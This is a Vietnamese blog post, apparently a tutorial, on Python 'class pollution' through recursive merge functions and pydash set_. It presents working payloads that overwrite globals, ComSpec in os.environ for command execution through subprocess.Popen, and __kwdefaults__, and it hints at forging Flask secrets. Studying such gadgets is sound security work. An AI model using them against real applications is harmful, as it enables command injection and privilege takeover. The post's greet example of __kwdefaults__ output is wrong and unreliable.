Phần 1 của bài viết mình đã publish khá lâu trước đó. Đây là link phần 1 cho bạn nào chưa đọc. https://viblo.asia/p/ban-da-biet-ve-lo-hong-class-pollution-trong-python-hay-chua-p1-3kY4g5zxLAe.
Ở phần 2 này, mình sẽ trình bày và giải thích 1 số gadget, 1 số case thực tế của lỗ hổng này. Tuy lỗ hổng này chưa thực sự có impact gì nhiều (ít ra cho đến thời điểm hiện tại) nhưng theo quan điểm cá nhân của mình thì nó đáng giá để nghiên cứu và đào sâu hơn.
Link bài viết gốc của tác giả các bạn có thể truy cập tại đây : https://blog.abdulrah33m.com/prototype-pollution-in-python/.
Ví dụ thực tế về Merge Function
Hãy cùng xem các ví dụ thực tế về việc triển khai merge function.
Lodash là một trong những thư viện JavaScript nơi lỗ hổng prototype pollution đã được phát hiện và báo cáo nhiều lần. Bây giờ tôi sẽ giới thiệu cho bạn cách triển khai Lodash bằng Python, đó là thư viện Pydash. Các hàm trong thư viện Pydash bao gồm set_
và set_with
là ví dụ về các recursive merge functions mà chúng ta có thể tận dụng để pollute các thuộc tính.
Điều tuyệt vời nhất là cả set_
và set_with
đều cho phép chúng ta di chuyển giữa các thuộc tính và items của đối tượng trong dict. Các tham số được truyền vào set_
và set_with
bao gồm:
- Đối tượng ta cần set thuộc tính.
- Tên của thuộc tính cần set
- Giá trị để set cho thuộc tính
Ví dụ dưới đây thể hiện rõ cách sử dụng của set_
import pydash class User: def __init__(self): pass class NotAccessibleClass: pass
not_accessible_variable = 'Hello' pydash.set_(User(), '__class__.__init__.__globals__.not_accessible_variable','Polluted variable')
print(not_accessible_variable) pydash.set_(User(), '__class__.__init__.__globals__.NotAccessibleClass.__qualname__','PollutedClass')
print(NotAccessibleClass) #> Polluted variable
#> <class '__main__.PollutedClass'>
Một số gadget thú vị
Như mọi khi, trong lỗ hổng Prototype Pollution, impact của lỗ hổng phụ thuộc vào ứng dụng và các gadget có sẵn được tận dụng.
Mặc dù tôi không thể liệt kê tất cả các gadget mà bạn có thể tìm thấy nhưng trong phần này tôi sẽ cố gắng trình bày một số gadget thú vị mà bạn có thể gặp khi khai thác lỗ hổng class pollution.
subprocess.Popen on Windows
Trong ví dụ này, chúng ta có thể đặt bất kỳ thuộc tính hoặc item nào cho đối tượng mới được tạo của lớp Employee
, bằng cách cung cấp payload dưới dạng JSON như được trình bày trước đó. Sau khi hàm merge được thực hiện, subprocess.Popen('whoami', shell=True)
sẽ thực thi lệnh whoami
.Bạn có thể thấy lệnh whoami
được fix cứng trong mã nguồn. Vậy làm thế nào để chúng ta có thể khai thác Class Pollution ở đây. Mục tiêu của chúng ta ở đây là chiếm quyền thực thi hàm Popen
để thực thi các lệnh tùy ý thay vì lệnh whoami
.
import subprocess, json class Employee: def __init__(self): pass def merge(src, dst): # Recursive merge function for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v) emp_info = json.loads('{"name": "employee"}') # attacker-controlled value merge(emp_info, Employee()) subprocess.Popen('whoami', shell=True)
Cùng xem xét kĩ hơn về source code của mô-đun subprocess
và quan sát Popen
hoạt động như thế nào trên Windows.
Trong hàm __init__
của class Popen
gọi đến hàm _execute_child
. Hàm này thực hiện các program trên Windows
Nhảy vào hàm này và quan sát source code
if shell: startupinfo.dwFlags |= _winapi.STARTF_USESHOWWINDOW startupinfo.wShowWindow = _winapi.SW_HIDE if not executable: # gh-101283: without a fully-qualified path, before Windows # checks the system directories, it first looks in the # application directory, and also the current directory if # NeedCurrentDirectoryForExePathW(ExeName) is true, so try # to avoid executing unqualified "cmd.exe". comspec = os.environ.get('ComSpec') if not comspec: system_root = os.environ.get('SystemRoot', '') comspec = os.path.join(system_root, 'System32', 'cmd.exe') if not os.path.isabs(comspec): raise FileNotFoundError('shell not found: neither %ComSpec% nor %SystemRoot% is set') if os.path.isabs(comspec): executable = comspec else: comspec = executable args = '{} /c "{}"'.format (comspec, args)
Chúng ta nhận thấy rằng có một câu lệnh if để kiểm tra xem đối số shell
có được đặt thành True
hay không, nếu nó được đặt thành True
, nó sẽ lấy đường dẫn của cmd.exe
từ các biến môi trường của người dùng để thực thi lệnh. Ngược lại nếu biến môi trường ComSpec
không được xác định thì nó sẽ đặt biến comspec thành C:\WINDOWS\system32\cmd.exe
. Vì vậy, nếu chúng ta kiểm soát giá trị của ComSpec
trong os.environ
, chúng ta sẽ có thể thực thi các lệnh tùy ý.
Gadget chain mà chúng ta cần sử dụng để ghi đè biến môi trường ComSpec
có thể được giải thích như sau:
- Chúng ta sẽ bắt đầu bằng cách truy cập bất kỳ phương thức nào của đối tượng
Employee
để có thể truy cập thuộc tính__globals__
, đó là__init__
trong trường hợp của chúng ta. - Sử dụng
__globals__
chúng ta sẽ có thể truy cập mô-đunsubprocess
vì nó đã được import vào trong mã nguồn của chúng ta. - Trên những dòng đầu tiên của mô-đun
subprocess
, chúng ta có thể thấy rằng mô-đunos
mà chúng ta cần để truy cập biếnenviron
đã được import. Nếu mô-đunos
đã được import trực tiếp vào script của chúng ta, ta có thể truy cập trực tiếp vào nó bằng cách sử dụng__init__.__globals__.os
mà không cần sử dụngsubprocess
. - Cuối cùng, sau khi vào mô-đun
os
, chúng ta có thể ghi đè giá trịComSpec
bên trongenviron
để thực hiện command injection
Ghi đè tham số __kwdefaults__
__kwdefaults__
là một thuộc tính đặc biệt của tất cả các hàm. Thuộc tính này chứa giá trị mặc định của các tham số từ khóa (keyword arguments) của một hàm hoặc phương thức. Khi bạn định nghĩa một hàm hoặc phương thức trong Python, bạn có thể sử dụng các tham số từ khóa mặc định để xác định giá trị mặc định cho các tham số đó. Ví dụ:
def greet(name="Guest", greeting="Hello"): return f"{greeting}, {name}!"
Trong ví dụ này, name và greeting là các tham số từ khóa có giá trị mặc định là "Guest" và "Hello". Khi bạn gọi hàm greet() mà không truyền giá trị cho các tham số này, giá trị mặc định sẽ được sử dụng.
Thuộc tính __kwdefaults__
chứa thông tin về các giá trị mặc định của các tham số từ khóa trong hàm. Đây là một ví dụ minh họa:
def greet(name="Guest", greeting="Hello"): return f"{greeting}, {name}!" # Truy cập __kwdefaults__ của hàm greet
defaults = greet.__kwdefaults__ print(defaults)
# Kết quả: {'name': 'Guest', 'greeting': 'Hello'}
Pollute thuộc tính này cho phép chúng ta kiểm soát các giá trị mặc định của các tham số, đây là các tham số của hàm nằm sau * hoặc *args.
import json def merge(src, dst): # Recursive merge function for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v) class Employee: def __init__(self): pass def print_message(*, message='Hello there'): print(message) print(print_message.__kwdefaults__)
print_message() emp_info = json.loads('{"__class__":{"__init__":{"__globals__":{"print_message":{"__kwdefaults__":{"message":"Polluted default value"}}}}}}') # attacker-controlled value
merge(emp_info, Employee()) print(print_message.__kwdefaults__)
print_message() #> {'message': 'Hello there'}
#> Hello there #> {'message': 'Polluted default value'}
#> Polluted default value
Những gadget khác
Sẽ còn rất nhiều hướng khác dành cho các bạn nghiên cứu thêm về lỗ hổng này. Chẳng hạn:
- Ghi đè secret của Flask app. Từ đó chiếm quyền admin hoặc user
- Ghi đè path trong
os.environ
- .....